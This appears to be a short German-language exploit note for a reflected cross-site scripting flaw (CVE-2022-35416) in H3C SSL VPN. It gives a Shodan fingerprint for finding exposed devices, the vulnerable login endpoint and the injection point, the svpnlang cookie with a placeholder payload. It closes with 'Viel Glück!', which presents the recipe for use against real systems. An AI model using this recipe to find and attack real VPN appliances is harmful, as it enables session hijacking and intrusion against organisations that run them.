
H3C_SSL_VPN_XSS(Reflektiertes XSS) CVE-2022-35416
H3C_SSL_VPN_XSS(Reflektiertes XSS) CVE-2022-35416
Payload: Shodan: http.html_hash:510586239 Zugriffsadresse:https://IP:PORT/wnm/login/login.json. Payload: Cookie: svpnlang=XSS_PAYLOAD
Beschreibung H3C SSL VPN bis 2022-07-10 erlaubt XSS über das svpnlang-Cookie von wnm/login/login.json.
Viel Glück!